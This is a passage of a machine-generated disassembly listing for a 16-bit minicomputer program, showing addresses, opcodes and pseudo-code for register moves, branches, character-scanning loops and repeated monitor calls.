272 | A = OR[272] 0x00E2 (0x0001C4) 0x2934- f:00024 d: 308 | OR[308] = A 0x00E3 (0x0001C6) 0x1016- f:00010 d: 22 | A = 22 (0x0016) 0x00E4 (0x0001C8) 0x2935- f:00024 d: 309 | OR[309] = A 0x00E5 (0x0001CA) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x00E6 (0x0001CC) 0x5800- f:00054 d: 0 | B = A 0x00E7 (0x0001CE) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x00E9 (0x0001D2) 0x7C09- f:00076 d: 9 | R = OR[9] 0x00EA (0x0001D4) 0x7023- f:00070 d: 35 | P = P + 35 (0x010D) 0x00EB (0x0001D6) 0x1800-0xFFFF f:00014 d: 0 | A = 65535 (0xFFFF) 0x00ED (0x0001DA) 0x290D- f:00024 d: 269 | OR[269] = A 0x00EE (0x0001DC) 0x2125- f:00020 d: 293 | A = OR[293] 0x00EF (0x0001DE) 0x290E- f:00024 d: 270 | OR[270] = A 0x00F0 (0x0001E0) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00F1 (0x0001E2) 0x290F- f:00024 d: 271 | OR[271] = A 0x00F2 (0x0001E4) 0x2125- f:00020 d: 293 | A = OR[293] 0x00F3 (0x0001E6) 0x2910- f:00024 d: 272 | OR[272] = A 0x00F4 (0x0001E8) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x00F5 (0x0001EA) 0x292D- f:00024 d: 301 | OR[301] = A 0x00F6 (0x0001EC) 0x1800-0x00A9 f:00014 d: 0 | A = 169 (0x00A9) 0x00F8 (0x0001F0) 0x292E- f:00024 d: 302 | OR[302] = A 0x00F9 (0x0001F2) 0x1800-0x4D54 f:00014 d: 0 | A = 19796 (0x4D54) 0x00FB (0x0001F6) 0x292F- f:00024 d: 303 | OR[303] = A 0x00FC (0x0001F8) 0x210D- f:00020 d: 269 | A = OR[269] 0x00FD (0x0001FA) 0x2930- f:00024 d: 304 | OR[304] = A 0x00FE (0x0001FC) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x00FF (0x0001FE) 0x2931- f:00024 d: 305 | OR[305] = A 0x0100 (0x000200) 0x210E- f:00020 d: 270 | A = OR[270] 0x0101 (0x000202) 0x2932- f:00024 d: 306 | OR[306] = A 0x0102 (0x000204) 0x210F- f:00020 d: 271 | A = OR[271] 0x0103 (0x000206) 0x2933- f:00024 d: 307 | OR[307] = A 0x0104 (0x000208) 0x2110- f:00020 d: 272 | A = OR[272] 0x0105 (0x00020A) 0x2934- f:00024 d: 308 | OR[308] = A 0x0106 (0x00020C) 0x1016- f:00010 d: 22 | A = 22 (0x0016) 0x0107 (0x00020E) 0x2935- f:00024 d: 309 | OR[309] = A 0x0108 (0x000210) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0109 (0x000212) 0x5800- f:00054 d: 0 | B = A 0x010A (0x000214) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x010C (0x000218) 0x7C09- f:00076 d: 9 | R = OR[9] 0x010D (0x00021A) 0x8602- f:00103 d: 2 | P = P + 2 (0x010F), A # 0 0x010E (0x00021C) 0x7005- f:00070 d: 5 | P = P + 5 (0x0113) 0x010F (0x00021E) 0x1800-0x02DD f:00014 d: 0 | A = 733 (0x02DD) 0x0111 (0x000222) 0x2924- f:00024 d: 292 | OR[292] = A 0x0112 (0x000224) 0x7041- f:00070 d: 65 | P = P + 65 (0x0153) 0x0113 (0x000226) 0x2127- f:00020 d: 295 | A = OR[295] 0x0114 (0x000228) 0x2726- f:00023 d: 294 | A = A - OR[294] 0x0115 (0x00022A) 0x8411- f:00102 d: 17 | P = P + 17 (0x0126), A = 0 0x0116 (0x00022C) 0x2121- f:00020 d: 289 | A = OR[289] 0x0117 (0x00022E) 0x1649- f:00013 d: 73 | A = A - 73 (0x0049) 0x0118 (0x000230) 0x8402- f:00102 d: 2 | P = P + 2 (0x011A), A = 0 0x0119 (0x000232) 0x7008- f:00070 d: 8 | P = P + 8 (0x0121) 0x011A (0x000234) 0x74B5- f:00072 d: 181 | R = P + 181 (0x01CF) 0x011B (0x000236) 0x8402- f:00102 d: 2 | P = P + 2 (0x011D), A = 0 0x011C (0x000238) 0x7003- f:00070 d: 3 | P = P + 3 (0x011F) 0x011D (0x00023A) 0x747B- f:00072 d: 123 | R = P + 123 (0x0198) 0x011E (0x00023C) 0x7002- f:00070 d: 2 | P = P + 2 (0x0120) 0x011F (0x00023E) 0x7007- f:00070 d: 7 | P = P + 7 (0x0126) 0x0120 (0x000240) 0x7003- f:00070 d: 3 | P = P + 3 (0x0123) 0x0121 (0x000242) 0x7477- f:00072 d: 119 | R = P + 119 (0x0198) 0x0122 (0x000244) 0x74AD- f:00072 d: 173 | R = P + 173 (0x01CF) 0x0123 (0x000246) 0x2D28- f:00026 d: 296 | OR[296] = OR[296] + 1 0x0124 (0x000248) 0x2D27- f:00026 d: 295 | OR[295] = OR[295] + 1 0x0125 (0x00024A) 0x7212- f:00071 d: 18 | P = P - 18 (0x0113) 0x0126 (0x00024C) 0x1800-0x02F9 f:00014 d: 0 | A = 761 (0x02F9) 0x0128 (0x000250) 0x2924- f:00024 d: 292 | OR[292] = A 0x0129 (0x000252) 0x7E03-0x0281 f:00077 d: 3 | R = OR[3]+641 (0x0281) 0x012B (0x000256) 0x2125- f:00020 d: 293 | A = OR[293] 0x012C (0x000258) 0x1440- f:00012 d: 64 | A = A + 64 (0x0040) 0x012D (0x00025A) 0x2913- f:00024 d: 275 | OR[275] = A 0x012E (0x00025C) 0x2127- f:00020 d: 295 | A = OR[295] 0x012F (0x00025E) 0x3913- f:00034 d: 275 | (OR[275]) = A 0x0130 (0x000260) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x0131 (0x000262) 0x292D- f:00024 d: 301 | OR[301] = A 0x0132 (0x000264) 0x1800-0x000F f:00014 d: 0 | A = 15 (0x000F) 0x0134 (0x000268) 0x292E- f:00024 d: 302 | OR[302] = A 0x0135 (0x00026A) 0x2113- f:00020 d: 275 | A = OR[275] 0x0136 (0x00026C) 0x292F- f:00024 d: 303 | OR[303] = A 0x0137 (0x00026E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0138 (0x000270) 0x2930- f:00024 d: 304 | OR[304] = A 0x0139 (0x000272) 0x1010- f:00010 d: 16 | A = 16 (0x0010) 0x013A (0x000274) 0x2931- f:00024 d: 305 | OR[305] = A 0x013B (0x000276) 0x2125- f:00020 d: 293 | A = OR[293] 0x013C (0x000278) 0x2932- f:00024 d: 306 | OR[306] = A 0x013D (0x00027A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x013E (0x00027C) 0x2933- f:00024 d: 307 | OR[307] = A 0x013F (0x00027E) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0140 (0x000280) 0x2934- f:00024 d: 308 | OR[308] = A 0x0141 (0x000282) 0x1006- f:00010 d: 6 | A = 6 (0x0006) 0x0142 (0x000284) 0x2935- f:00024 d: 309 | OR[309] = A 0x0143 (0x000286) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0144 (0x000288) 0x5800- f:00054 d: 0 | B = A 0x0145 (0x00028A) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x0147 (0x00028E) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0148 (0x000290) 0x1010- f:00010 d: 16 | A = 16 (0x0010) 0x0149 (0x000292) 0x292D- f:00024 d: 301 | OR[301] = A 0x014A (0x000294) 0x2125- f:00020 d: 293 | A = OR[293] 0x014B (0x000296) 0x292E- f:00024 d: 302 | OR[302] = A 0x014C (0x000298) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x014D (0x00029A) 0x5800- f:00054 d: 0 | B = A 0x014E (0x00029C) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x0150 (0x0002A0) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0151 (0x0002A2) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0152 (0x0002A4) 0x2924- f:00024 d: 292 | OR[292] = A 0x0153 (0x0002A6) 0x2123- f:00020 d: 291 | A = OR[291] 0x0154 (0x0002A8) 0x8602- f:00103 d: 2 | P = P + 2 (0x0156), A # 0 0x0155 (0x0002AA) 0x7011- f:00070 d: 17 | P = P + 17 (0x0166) 0x0156 (0x0002AC) 0x1006- f:00010 d: 6 | A = 6 (0x0006) 0x0157 (0x0002AE) 0x290D- f:00024 d: 269 | OR[269] = A 0x0158 (0x0002B0) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x0159 (0x0002B2) 0x292D- f:00024 d: 301 | OR[301] = A 0x015A (0x0002B4) 0x1800-0x00A5 f:00014 d: 0 | A = 165 (0x00A5) 0x015C (0x0002B8) 0x292E- f:00024 d: 302 | OR[302] = A 0x015D (0x0002BA) 0x2123- f:00020 d: 291 | A = OR[291] 0x015E (0x0002BC) 0x292F- f:00024 d: 303 | OR[303] = A 0x015F (0x0002BE) 0x210D- f:00020 d: 269 | A = OR[269] 0x0160 (0x0002C0) 0x2930- f:00024 d: 304 | OR[304] = A 0x0161 (0x0002C2) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0162 (0x0002C4) 0x5800- f:00054 d: 0 | B = A 0x0163 (0x0002C6) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x0165 (0x0002CA) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0166 (0x0002CC) 0x2122- f:00020 d: 290 | A = OR[290] 0x0167 (0x0002CE) 0x8602- f:00103 d: 2 | P = P + 2 (0x0169), A # 0 0x0168 (0x0002D0) 0x7011- f:00070 d: 17 | P = P + 17 (0x0179) 0x0169 (0x0002D2) 0x1006- f:00010 d: 6 | A = 6 (0x0006) 0x016A (0x0002D4) 0x290D- f:00024 d: 269 | OR[269] = A 0x016B (0x0002D6) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x016C (0x0002D8) 0x292D- f:00024 d: 301 | OR[301] = A 0x016D (0x0002DA) 0x1800-0x00A5 f:00014 d: 0 | A = 165 (0x00A5) 0x016F (0x0002DE) 0x292E- f:00024 d: 302 | OR[302] = A 0x0170 (0x0002E0) 0x2122- f:00020 d: 290 | A = OR[290] 0x0171 (0x0002E2) 0x292F- f:00024 d: 303 | OR[303] = A 0x0172 (0x0002E4) 0x210D- f:00020 d: 269 | A = OR[269] 0x0173 (0x0002E6) 0x2930- f:00024 d: 304 | OR[304] = A 0x0174 (0x0002E8) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0175 (0x0002EA) 0x5800- f:00054 d: 0 | B = A 0x0176 (0x0002EC) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x0178 (0x0002F0) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0179 (0x0002F2) 0x2124- f:00020 d: 292 | A = OR[292] 0x017A (0x0002F4) 0x8602- f:00103 d: 2 | P = P + 2 (0x017C), A # 0 0x017B (0x0002F6) 0x700C- f:00070 d: 12 | P = P + 12 (0x0187) 0x017C (0x0002F8) 0x7E03-0x0281 f:00077 d: 3 | R = OR[3]+641 (0x0281) 0x017E (0x0002FC) 0x1010- f:00010 d: 16 | A = 16 (0x0010) 0x017F (0x0002FE) 0x292D- f:00024 d: 301 | OR[301] = A 0x0180 (0x000300) 0x2125- f:00020 d: 293 | A = OR[293] 0x0181 (0x000302) 0x292E- f:00024 d: 302 | OR[302] = A 0x0182 (0x000304) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0183 (0x000306) 0x5800- f:00054 d: 0 | B = A 0x0184 (0x000308) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x0186 (0x00030C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0187 (0x00030E) 0x2125- f:00020 d: 293 | A = OR[293] 0x0188 (0x000310) 0x8602- f:00103 d: 2 | P = P + 2 (0x018A), A # 0 0x0189 (0x000312) 0x7009- f:00070 d: 9 | P = P + 9 (0x0192) 0x018A (0x000314) 0x101B- f:00010 d: 27 | A = 27 (0x001B) 0x018B (0x000316) 0x292D- f:00024 d: 301 | OR[301] = A 0x018C (0x000318) 0x2125- f:00020 d: 293 | A = OR[293] 0x018D (0x00031A) 0x292E- f:00024 d: 302 | OR[302] = A 0x018E (0x00031C) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x018F (0x00031E) 0x5800- f:00054 d: 0 | B = A 0x0190 (0x000320) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0191 (0x000322) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0192 (0x000324) 0x102A- f:00010 d: 42 | A = 42 (0x002A) 0x0193 (0x000326) 0x292D- f:00024 d: 301 | OR[301] = A 0x0194 (0x000328) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0195 (0x00032A) 0x5800- f:00054 d: 0 | B = A 0x0196 (0x00032C) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0197 (0x00032E) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0198 (0x000330) 0x2121- f:00020 d: 289 | A = OR[289] 0x0199 (0x000332) 0x164F- f:00013 d: 79 | A = A - 79 (0x004F) 0x019A (0x000334) 0x8402- f:00102 d: 2 | P = P + 2 (0x019C), A = 0 0x019B (0x000336) 0x7018- f:00070 d: 24 | P = P + 24 (0x01B3) 0x019C (0x000338) 0x2123- f:00020 d: 291 | A = OR[291] 0x019D (0x00033A) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x019E (0x00033C) 0x2908- f:00024 d: 264 | OR[264] = A 0x019F (0x00033E) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01A0 (0x000340) 0x290D- f:00024 d: 269 | OR[269] = A 0x01A1 (0x000342) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x01A2 (0x000344) 0x292D- f:00024 d: 301 | OR[301] = A 0x01A3 (0x000346) 0x210D- f:00020 d: 269 | A = OR[269] 0x01A4 (0x000348) 0x292E- f:00024 d: 302 | OR[302] = A 0x01A5 (0x00034A) 0x2123- f:00020 d: 291 | A = OR[291] 0x01A6 (0x00034C) 0x292F- f:00024 d: 303 | OR[303] = A 0x01A7 (0x00034E) 0x1004- f:00010 d: 4 | A = 4 (0x0004) 0x01A8 (0x000350) 0x2930- f:00024 d: 304 | OR[304] = A 0x01A9 (0x000352) 0x2125- f:00020 d: 293 | A = OR[293] 0x01AA (0x000354) 0x2931- f:00024 d: 305 | OR[305] = A 0x01AB (0x000356) 0x2128- f:00020 d: 296 | A = OR[296] 0x01AC (0x000358) 0x2933- f:00024 d: 307 | OR[307] = A 0x01AD (0x00035A) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x01AE (0x00035C) 0x5800- f:00054 d: 0 | B = A 0x01AF (0x00035E) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x01B1 (0x000362) 0x7C09- f:00076 d: 9 | R = OR[9] 0x01B2 (0x000364) 0x7017- f:00070 d: 23 | P = P + 23 (0x01C9) 0x01B3 (0x000366) 0x2123- f:00020 d: 291 | A = OR[291] 0x01B4 (0x000368) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x01B5 (0x00036A) 0x2908- f:00024 d: 264 | OR[264] = A 0x01B6 (0x00036C) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01B7 (0x00036E) 0x290D- f:00024 d: 269 | OR[269] = A 0x01B8 (0x000370) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x01B9 (0x000372) 0x292D- f:00024 d: 301 | OR[301] = A 0x01BA (0x000374) 0x210D- f:00020 d: 269 | A = OR[269] 0x01BB (0x000376) 0x292E- f:00024 d: 302 | OR[302] = A 0x01BC (0x000378) 0x2123- f:00020 d: 291 | A = OR[291] 0x01BD (0x00037A) 0x292F- f:00024 d: 303 | OR[303] = A 0x01BE (0x00037C) 0x1003- f:00010 d: 3 | A = 3 (0x0003) 0x01BF (0x00037E) 0x2930- f:00024 d: 304 | OR[304] = A 0x01C0 (0x000380) 0x2125- f:00020 d: 293 | A = OR[293] 0x01C1 (0x000382) 0x2931- f:00024 d: 305 | OR[305] = A 0x01C2 (0x000384) 0x2128- f:00020 d: 296 | A = OR[296] 0x01C3 (0x000386) 0x2933- f:00024 d: 307 | OR[307] = A 0x01C4 (0x000388) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x01C5 (0x00038A) 0x5800- f:00054 d: 0 | B = A 0x01C6 (0x00038C) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x01C8 (0x000390) 0x7C09- f:00076 d: 9 | R = OR[9] 0x01C9 (0x000392) 0x8602- f:00103 d: 2 | P = P + 2 (0x01CB), A # 0 0x01CA (0x000394) 0x0200- f:00001 d: 0 | EXIT 0x01CB (0x000396) 0x1800-0x02C0 f:00014 d: 0 | A = 704 (0x02C0) 0x01CD (0x00039A) 0x2924- f:00024 d: 292 | OR[292] = A 0x01CE (0x00039C) 0x727B- f:00071 d: 123 | P = P - 123 (0x0153) 0x01CF (0x00039E) 0x2121- f:00020 d: 289 | A = OR[289] 0x01D0 (0x0003A0) 0x164F- f:00013 d: 79 | A = A - 79 (0x004F) 0x01D1 (0x0003A2) 0x8402- f:00102 d: 2 | P = P + 2 (0x01D3), A = 0 0x01D2 (0x0003A4) 0x701C- f:00070 d: 28 | P = P + 28 (0x01EE) 0x01D3 (0x0003A6) 0x2122- f:00020 d: 290 | A = OR[290] 0x01D4 (0x0003A8) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x01D5 (0x0003AA) 0x2908- f:00024 d: 264 | OR[264] = A 0x01D6 (0x0003AC) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01D7 (0x0003AE) 0x290D- f:00024 d: 269 | OR[269] = A 0x01D8 (0x0003B0) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x01D9 (0x0003B2) 0x292D- f:00024 d: 301 | OR[301] = A 0x01DA (0x0003B4) 0x210D- f:00020 d: 269 | A = OR[269] 0x01DB (0x0003B6) 0x292E- f:00024 d: 302 | OR[302] = A 0x01DC (0x0003B8) 0x2122- f:00020 d: 290 | A = OR[290] 0x01DD (0x0003BA) 0x292F- f:00024 d: 303 | OR[303] = A 0x01DE (0x0003BC) 0x1003- f:00010 d: 3 | A = 3 (0x0003) 0x01DF (0x0003BE) 0x2930- f:00024 d: 304 | OR[304] = A 0x01E0 (0x0003C0) 0x2125- f:00020 d: 293 | A = OR[293] 0x01E1 (0x0003C2) 0x2931- f:00024 d: 305 | OR[305] = A 0x01E2 (0x0003C4) 0x1800-0x0800 f:00014 d: 0 | A = 2048 (0x0800) 0x01E4 (0x0003C8) 0x2932- f:00024 d: 306 | OR[306] = A 0x01E5 (0x0003CA) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x01E6 (0x0003CC) 0x5800- f:00054 d: 0 | B = A 0x01E7 (0x0003CE) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x01E9 (0x0003D2) 0x7C09- f:00076 d: 9 | R = OR[9] 0x01EA (0x0003D4) 0x8602- f:00103 d: 2 | P = P + 2 (0x01EC), A # 0 0x01EB (0x0003D6) 0x0200- f:00001 d: 0 | EXIT 0x01EC (0x0003D8) 0x7A03-0x0223 f:00075 d: 3 | P = OR[3]+547 (0x0223) 0x01EE (0x0003DC) 0x2122- f:00020 d: 290 | A = OR[290] 0x01EF (0x0003DE) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x01F0 (0x0003E0) 0x2908- f:00024 d: 264 | OR[264] = A 0x01F1 (0x0003E2) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01F2 (0x0003E4) 0x290D- f:00024 d: 269 | OR[269] = A 0x01F3 (0x0003E6) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x01F4 (0x0003E8) 0x292D- f:00024 d: 301 | OR[301] = A 0x01F5 (0x0003EA) 0x210D- f:00020 d: 269 | A = OR[269] 0x01F6 (0x0003EC) 0x292E- f:00024 d: 302 | OR[302] = A 0x01F7 (0x0003EE) 0x2122- f:00020 d: 290 | A = OR[290] 0x01F8 (0x0003F0) 0x292F- f:00024 d: 303 | OR[303] = A 0x01F9 (0x0003F2) 0x1004- f:00010 d: 4 | A = 4 (0x0004) 0x01FA (0x0003F4) 0x2930- f:00024 d: 304 | OR[304] = A 0x01FB (0x0003F6) 0x2125- f:00020 d: 293 | A = OR[293] 0x01FC (0x0003F8) 0x2931- f:00024 d: 305 | OR[305] = A 0x01FD (0x0003FA) 0x1800-0x0800 f:00014 d: 0 | A = 2048 (0x0800) 0x01FF (0x0003FE) 0x2932- f:00024 d: 306 | OR[306] = A 0x0200 (0x000400) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0201 (0x000402) 0x5800- f:00054 d: 0 | B = A 0x0202 (0x000404) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x0204 (0x000408) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0205 (0x00040A) 0x290D- f:00024 d: 269 | OR[269] = A 0x0206 (0x00040C) 0x2122- f:00020 d: 290 | A = OR[290] 0x0207 (0x00040E) 0x1415- f:00012 d: 21 | A = A + 21 (0x0015) 0x0208 (0x000410) 0x2908- f:00024 d: 264 | OR[264] = A 0x0209 (0x000412) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x020A (0x000414) 0x2929- f:00024 d: 297 | OR[297] = A 0x020B (0x000416) 0x210D- f:00020 d: 269 | A = OR[269] 0x020C (0x000418) 0x8402- f:00102 d: 2 | P = P + 2 (0x020E), A = 0 0x020D (0x00041A) 0x700B- f:00070 d: 11 | P = P + 11 (0x0218) 0x020E (0x00041C) 0x2129- f:00020 d: 297 | A = OR[297] 0x020F (0x00041E) 0x1E00-0x0800 f:00017 d: 0 | A = A - 2048 (0x0800) 0x0211 (0x000422) 0x8602- f:00103 d: 2 | P = P + 2 (0x0213), A # 0 0x0212 (0x000424) 0x0200- f:00001 d: 0 | EXIT 0x0213 (0x000426) 0x1800-0x02EE f:00014 d: 0 | A = 750 (0x02EE) 0x0215 (0x00042A) 0x2924- f:00024 d: 292 | OR[292] = A 0x0216 (0x00042C) 0x72C3- f:00071 d: 195 | P = P - 195 (0x0153) 0x0217 (0x00042E) 0x7006- f:00070 d: 6 | P = P + 6 (0x021D) 0x0218 (0x000430) 0x1607- f:00013 d: 7 | A = A - 7 (0x0007) 0x0219 (0x000432) 0x8402- f:00102 d: 2 | P = P + 2 (0x021B), A = 0 0x021A (0x000434) 0x7003- f:00070 d: 3 | P = P + 3 (0x021D) 0x021B (0x000436) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x021C (0x000438) 0x0200- f:00001 d: 0 | EXIT 0x021D (0x00043A) 0x1800-0x02E6 f:00014 d: 0 | A = 742 (0x02E6) 0x021F (0x00043E) 0x2924- f:00024 d: 292 | OR[292] = A 0x0220 (0x000440) 0x72CD- f:00071 d: 205 | P = P - 205 (0x0153) 0x0221 (0x000442) 0x1020- f:00010 d: 32 | A = 32 (0x0020) 0x0222 (0x000444) 0x2913- f:00024 d: 275 | OR[275] = A 0x0223 (0x000446) 0x2113- f:00020 d: 275 | A = OR[275] 0x0224 (0x000448) 0x1620- f:00013 d: 32 | A = A - 32 (0x0020) 0x0225 (0x00044A) 0x8615- f:00103 d: 21 | P = P + 21 (0x023A), A # 0 0x0226 (0x00044C) 0x212C- f:00020 d: 300 | A = OR[300] 0x0227 (0x00044E) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001) 0x0228 (0x000450) 0x2525- f:00022 d: 293 | A = A + OR[293] 0x0229 (0x000452) 0x290D- f:00024 d: 269 | OR[269] = A 0x022A (0x000454) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x022B (0x000456) 0x290D- f:00024 d: 269 | OR[269] = A 0x022C (0x000458) 0x212C- f:00020 d: 300 | A = OR[300] 0x022D (0x00045A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x022E (0x00045C) 0x2908- f:00024 d: 264 | OR[264] = A 0x022F (0x00045E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0230 (0x000460) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x0231 (0x000462) 0x8604- f:00103 d: 4 | P = P + 4 (0x0235), A # 0 0x0232 (0x000464) 0x210D- f:00020 d: 269 | A = OR[269] 0x0233 (0x000466) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x0234 (0x000468) 0x290D- f:00024 d: 269 | OR[269] = A 0x0235 (0x00046A) 0x210D- f:00020 d: 269 | A = OR[269] 0x0236 (0x00046C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0237 (0x00046E) 0x2913- f:00024 d: 275 | OR[275] = A 0x0238 (0x000470) 0x2D2C- f:00026 d: 300 | OR[300] = OR[300] + 1 0x0239 (0x000472) 0x7216- f:00071 d: 22 | P = P - 22 (0x0223) 0x023A (0x000474) 0x2F2C- f:00027 d: 300 | OR[300] = OR[300] - 1 0x023B (0x000476) 0x212C- f:00020 d: 300 | A = OR[300] 0x023C (0x000478) 0x2914- f:00024 d: 276 | OR[276] = A 0x023D (0x00047A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x023E (0x00047C) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001) 0x023F (0x00047E) 0x2913- f:00024 d: 275 | OR[275] = A 0x0240 (0x000480) 0x2113- f:00020 d: 275 | A = OR[275] 0x0241 (0x000482) 0x8418- f:00102 d: 24 | P = P + 24 (0x0259), A = 0 0x0242 (0x000484) 0x2113- f:00020 d: 275 | A = OR[275] 0x0243 (0x000486) 0x1620- f:00013 d: 32 | A = A - 32 (0x0020) 0x0244 (0x000488) 0x8415- f:00102 d: 21 | P = P + 21 (0x0259), A = 0 0x0245 (0x00048A) 0x212C- f:00020 d: 300 | A = OR[300] 0x0246 (0x00048C) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001) 0x0247 (0x00048E) 0x2525- f:00022 d: 293 | A = A + OR[293] 0x0248 (0x000490) 0x290D- f:00024 d: 269 | OR[269] = A 0x0249 (0x000492) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x024A (0x000494) 0x290D- f:00024 d: 269 | OR[269] = A 0x024B (0x000496) 0x212C- f:00020 d: 300 | A = OR[300] 0x024C (0x000498) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x024D (0x00049A) 0x2908- f:00024 d: 264 | OR[264] = A 0x024E (0x00049C) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x024F (0x00049E) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x0250 (0x0004A0) 0x8604- f:00103 d: 4 | P = P + 4 (0x0254), A # 0 0x0251 (0x0004A2) 0x210D- f:00020 d: 269 | A = OR[269] 0x0252 (0x0004A4) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x0253 (0x0004A6) 0x290D- f:00024 d: 269 | OR[269] = A 0x0254 (0x0004A8) 0x210D- f:00020 d: 269 | A = OR[269] 0x0255 (0x0004AA) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0256 (0x0004AC) 0x2913- f:00024 d: 275 | OR[275] = A 0x0257 (0x0004AE) 0x2D2C- f:00026 d: 300 | OR[300] = OR[300] + 1 0x0258 (0x0004B0) 0x7218- f:00071 d: 24 | P = P - 24 (0x0240) 0x0259 (0x0004B2) 0x2F2C- f:00027 d: 300 | OR[300] = OR[300] - 1 0x025A (0x0004B4) 0x212C- f:00020 d: 300 | A = OR[300] 0x025B (0x0004B6) 0x2714- f:00023 d: 276 | A = A - OR[276] 0x025C (0x0004B8) 0x2913- f:00024 d: 275 | OR[275] = A 0x025D (0x0004BA) 0x2113- f:00020 d: 275 | A = OR[275] 0x025E (0x0004BC) 0x8602- f:00103 d: 2 | P = P + 2 (0x0260), A # 0 0x025F (0x0004BE) 0x701B- f:00070 d: 27 | P = P + 27 (0x027A) 0x0260 (0x0004C0) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x0261 (0x0004C2) 0x292D- f:00024 d: 301 | OR[301] = A 0x0262 (0x0004C4) 0x1800-0x001F f:00014 d: 0 | A = 31 (0x001F) 0x0264 (0x0004C8) 0x292E- f:00024 d: 302 | OR[302] = A 0x0265 (0x0004CA) 0x2125- f:00020 d: 293 | A = OR[293] 0x0266 (0x0004CC) 0x292F- f:00024 d: 303 | OR[303] = A 0x0267 (0x0004CE) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0268 (0x0004D0) 0x2930- f:00024 d: 304 | OR[304] = A 0x0269 (0x0004D2) 0x1010- f:00010 d: 16 | A = 16 (0x0010) 0x026A (0x0004D4) 0x2931- f:00024 d: 305 | OR[305] = A 0x026B (0x0004D6) 0x2125- f:00020 d: 293 | A = OR[293] 0x026C (0x0004D8) 0x2932- f:00024 d: 306 | OR[306] = A 0x026D (0x0004DA) 0x2114- f:00020 d: 276 | A = OR[276] 0x026E (0x0004DC) 0x2933- f:00024 d: 307 | OR[307] = A 0x026F (0x0004DE) 0x2113- f:00020 d: 275 | A = OR[275] 0x0270 (0x0004E0) 0x2934- f:00024 d: 308 | OR[308] = A 0x0271 (0x0004E2) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0272 (0x0004E4) 0x5800- f:00054 d: 0 | B = A 0x0273 (0x0004E6) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x0275 (0x0004EA) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0276 (0x0004EC) 0xAE03-0x003D f:00127 d: 3 | P = OR[3]+61 (0x003D), A # 0 